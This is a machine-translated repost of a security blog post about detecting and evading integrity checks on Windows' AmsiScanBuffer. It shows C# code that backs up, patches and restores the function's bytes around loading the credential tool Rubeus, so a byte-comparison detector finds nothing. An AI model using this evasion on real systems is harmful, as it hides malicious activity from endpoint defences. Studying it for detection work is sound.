当前位置:网站首页>Bypass memory integrity check
Bypass memory integrity check
2022-06-23 20:44:00 【Khan security team】
The process involves :
- Find... In memory AmsiScanBuffer The location of .
- Change the memory permissions to RWX.
- Copy the patched bytes .
- Restore the memory area back to RX.
After this happened , This process does not seem to make any difference to the casual observer . Because we only changed about of the possible hundreds of thousands of bytes in the address space 6 Bytes , So how likely is it to be seen ?
Execute user mode DLL Injected defensive products ( for example EDR) Integrity checks can be performed on sensitive parts of the module code . therefore , If something has changed and is not captured at the time ( Maybe by using syscalls), Can be detected afterwards ( Suppose the process still exists ) And then send an alarm .
This depends in part on the relevance of aggressive tools . for example ,Cobalt Strike Of Beacon Many of them post-ex Command to use fork and run Pattern . It will generate a temporary process , Inject... Into it post-ex function , Get results through named pipes , Then terminate the process . If it's time to post-ex Function execution such as patching AmsiScanBuffer Something like that , It may not exist long enough to really worry about integrity checking .Covenant Of Grunt And other tools will perform all operations within it —— So as long as the implant is alive , These changes to its memory will persist .
Consider the following :
static void Main(string[] args)
{
var amsi = new AmsiBypass();
// Bypass AMSI
amsi.Execute();
// Load Rubeus
var rubeus = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");
var asm = Assembly.Load(rubeus);
asm.EntryPoint?.Invoke(null, new object[]{ Array.Empty<string>() });
}Bypassing allows us to load Rubeus And do whatever we want . All good. .
however , If we are right in the process AmsiScanBuffer Perform integrity checks , We can infer that it has indeed been tampered with .
PS C:\Users\Daniel\source\repos\IntegrityDemo\MonitorApp> dotnet run 22664 ======================== AmsiScanBuffer Checker ======================== Target Process: MaliciousApp AmsiScanBuffer: 0x7FFE26AA0000 AmsiScanBuffer tamper detected!
conceptually , Its operation is very simple :
- Load from disk amsi.dll.
- find AmsiScanBuffer And before reading 10 Bytes .
- Found... In the target process AmsiScanBuffer And before reading 10 Bytes .
- Compare two byte arrays .
If the array does not match , The function is already in the memory of the process ( Or an unlikely file ) A change has taken place .
From a defensive point of view , This method has some obvious disadvantages —— We only check AmsiScanBuffer Without checking other exported functions ; And only the front of the function 10 Bytes . However , According to my experience , Most people only copy / Paste the bypass they found on the Internet * Cough *, So this is a good simple fruit .
If we want to improve bypass , We can copy the original AmsiScanBuffer byte , Then recover the malicious content we want after we execute it .
It might look like this :
public void Execute()
{
// Load amsi.dll and get location of AmsiScanBuffer
var lib = LoadLibrary("amsi.dll");
_asbLocation = GetProcAddress(lib, "AmsiScanBuffer");
var patch = GetPatch;
// Take a backup of AmsiScanBuffer bytes
_backup = new byte[patch.Length];
Marshal.Copy(_asbLocation, _backup, 0, patch.Length);
// Set region to RWX
// Copy patch
// Restore region to RX
}Then implement a program that copies back the original bytes recovery Method :
public void Restore()
{
// Set region to RWX
_ = VirtualProtect(_asbLocation, (UIntPtr)_backup.Length, 0x40, out uint oldProtect);
// Copy bytes back
Marshal.Copy(_backup, 0, _asbLocation, _backup.Length);
// Restore region to RX
_ = VirtualProtect(_asbLocation, (UIntPtr)_backup.Length, oldProtect, out uint _);
}And then in our malicious applications :
static void Main(string[] args)
{
var amsi = new AmsiBypass();
// Bypass AMSI
amsi.Execute();
// Load Rubeus
var rubeus = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");
var asm = Assembly.Load(rubeus);
asm.EntryPoint?.Invoke(null, new object[]{ Array.Empty<string>() });
// Restore AMSI
amsi.Restore();
}PS C:\Users\Daniel\source\repos\IntegrityDemo\MonitorApp> dotnet run 22516 ======================== AmsiScanBuffer Checker ======================== Target Process: MaliciousApp AmsiScanBuffer: 0x7FFE26AA0000 AmsiScanBuffer is fine ¯\_(ツ)_/¯
Rubeus Still perform as expected , But when running on a process “ Check ” when , No tampering was found . This integrity checking method may only be effective if it happens to run within a narrow time frame between performing a bypass and recovering bytes .
边栏推荐
- What cloud disk types does Tencent cloud provide? What are the characteristics of cloud disk service?
- Dart series: your site is up to you. Use extension to extend classes
- What technology is used for video intelligent audit? Difficulties encountered in video audit?
- The substring() method in. JS can be used to intercept all characters after the specified string
- 3000 frame animation illustrating why MySQL needs binlog, redo log and undo log
- 国元期货交易软件正规吗?如何安全下载?
- 测试的重要性及目的
- JS regular ignore case
- 实现vscode写markdown文档+图片自动上传至腾讯云cos
- Process injection
猜你喜欢

Tupu software digital twin intelligent water service, breaking through the development dilemma of sponge City

FPGA based electromagnetic ultrasonic pulse compression detection system paper + source file

Open source SPL redefines OLAP server

Syntaxe des requêtes fédérées SQL (inline, left, right, full)

SQL聯合查詢(內聯、左聯、右聯、全聯)的語法

Syntax of SQL union query (inline, left, right, and full)

JS advanced programming version 4: generator learning

Kubernetes resource topology aware scheduling optimization

LeetCode 260. Number III that appears only once

Elastricearch's fragmentation principle of the second bullet
随机推荐
ntpupdate. tencentyun. Com has been eliminated
How to install SSL certificates in Microsoft Exchange 2010
重庆 奉节耀奎塔,建成后当地连中五名进士,是川江航运的安全塔
What technology is used for video intelligent audit? Difficulties encountered in video audit?
怎么开户?在国海证券开户安全吗?需要带什么?
同花顺网上开户安全吗,佣金高不高
Application of MySQL time function, simple problem
【Golang】怎么实现Go程序的实时热更新
Gaussdb (DWS) database intelligent monitoring operation and maintenance service - node monitoring indicators
35歲危機?內卷成程序員代名詞了…
券商选哪个比较好尼?本人小白不懂,在线开户安全么?
JS five methods to judge whether a certain value exists in an array
How to dispose of the words on the picture? How do I add text to a picture?
Emmet syntax specification
Crise de 35 ans? Le volume intérieur est devenu synonyme de programmeur...
Importance and purpose of test
Can the biggest gamefi crash victim survive the bear market in May| May Monthly Report
vs2022scanf函数的使用,使用scanf的报错-返回值被忽略:解决·方法
[golang] use go language to operate etcd - configuration center
[golang] quick review guide quickreview (VI) -- struct